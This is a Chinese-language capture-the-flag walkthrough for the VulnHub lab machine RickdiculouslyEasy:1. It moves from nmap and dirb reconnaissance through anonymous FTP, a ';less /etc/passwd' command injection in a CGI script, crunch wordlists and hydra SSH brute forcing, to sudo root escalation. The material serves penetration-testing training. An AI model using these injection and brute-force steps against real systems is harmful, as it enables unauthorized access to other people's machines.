OSCP难度靶机之RickdiculouslyEasy:1
2022-10-23 20:33:9 Author: 安全孺子牛(查看原文) 阅读量:20 收藏

虚拟机下载地址:https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/虚拟机简介:这是一个非常简单的 Rick and Morty 主题引导目标:10个flag级别:中级

1、信息收集

1.1通过arp-scan检测主机IP地址

arp-scan 192.168.124.0/24

1.2 通过nmap进行端口扫描

nmap -A -sS -sV -v -p- 192.168.124.5

查看开放如下端口,并且21端口允许匿名登录,在13337端口中获取到第一个flag

2、渗透测试

2.1 服务渗透

1.访问ftp服务

ftp 192.168.124.5

2.查看第二个flag

3.nc连接6000端口

nc 192.168.124.5 60000
cat FLAG.txt

2.2 WEB渗透

1.9090端口测试

查看该端口信息,获取到第三个flag

2.80端口测试

未发现有用信息

3.目录扫描测试

dirb http://192.168.124.5

发现有目录和robots文件

4.查看passwords目录

访问FLAG.txt文件,获取到第四个flag

访问passwords.html页面中,查看网页源代码获取到密码

5.查看robots.txt文件

测试在tracertool.cgi中可以执行命令

测试可以绕过命令执行

6.查看passwd文件

;less /etc/passwd

发现标红的三个账号是有登录权限

2.3 主机渗透

1.登录主机

使用Summer作为账号,winter作为密码可成功登录主机

ssh [email protected] -p 22222

2.查看当前目录文件

使用more进行查看获取到flag

在Morty目录中发现存在2个文件

在RickSanchez目录中发现一个可执行文件和TXT文件

3.Morty目录文件

复制Morty目录文件到本地

scp -P 22222 [email protected]:/home/Morty/journal.txt.zip .
scp -P 22222 [email protected]:/home/Morty/Safe_Password.jpg .

查看图片中包含的字符串内容,提示密码为:Meeseek

strings Safe_Password.jpg

解压zip文件,获取到flag信息,并提示flag内容为131333

unzip journal.txt.zip
cat journal.txt

4.Rick目录文件

复制RICKS_SAFE目录中的safe文件到tmp目录中

cp safe /tmp/

./safe
./safe 131333

根据提示需要传入一串内容,尝试使用获取到的上个131333内容,获取到flag信息。

根据上面密码提示信息:有一个是大写的字母、一个数字、还有一个单词为为Rich喜欢的乐队名字

5.密码破解

根据搜索获取到Rich乐队名称为the flesh curtains

使用crunch生成密码

crunch 10 10 -t ,%Curtains -O >> dict.txt
crunch 7 7 -t ,%Flesh -O >> dict.txt

使用hydra进行爆破

hydra -l RickSanchez -P dict.txt 192.168.124.5 ssh  -s  22222

3、提权

3.1 系统提权

1.使用RickSanchez登录

su - RickSanchez
sudo -l

2.获取到flag

sudo su
cd /root
more FLAG.txt


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2MDI0NTM2Nw==&mid=2247488836&idx=1&sn=5576d4089e10a660e4eed96c211025e1&chksm=ea6dc75cdd1a4e4a8dedb13066736749207797747c443516884ea222a5a15ffa2fd00d81bdd5#rd
如有侵权请联系:admin#unsafe.sh